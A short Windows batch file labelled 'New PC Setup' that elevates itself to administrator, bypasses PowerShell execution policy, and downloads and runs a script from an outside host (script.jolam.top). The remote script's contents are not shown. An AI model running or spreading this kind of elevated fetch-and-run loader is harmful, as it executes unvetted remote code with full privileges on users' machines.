@echo off
title New PC Setup

net session >nul 2>&1
if %errorlevel% neq 0 (
    powershell -Command "Start-Process -FilePath '%~f0' -Verb RunAs"
    exit /b
)

powershell -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $t=Join-Path $env:TEMP 'new_pc_setup_tools.ps1'; if (Test-Path $t) { Remove-Item $t -Force -ErrorAction SilentlyContinue }; $u='https://script.jolam.top/new_pc_setup_tools.ps1'; try { Invoke-WebRequest -Uri $u -OutFile $t -UseBasicParsing -TimeoutSec 15; $env:NPS_SERVER='https://script.jolam.top'; Start-Process powershell.exe -ArgumentList '-NoProfile','-ExecutionPolicy','Bypass','-File',\"`\"$t`\"\" } catch { Write-Host 'Connect failed:' $_ -ForegroundColor Red; Read-Host 'Press Enter' }"

exit /b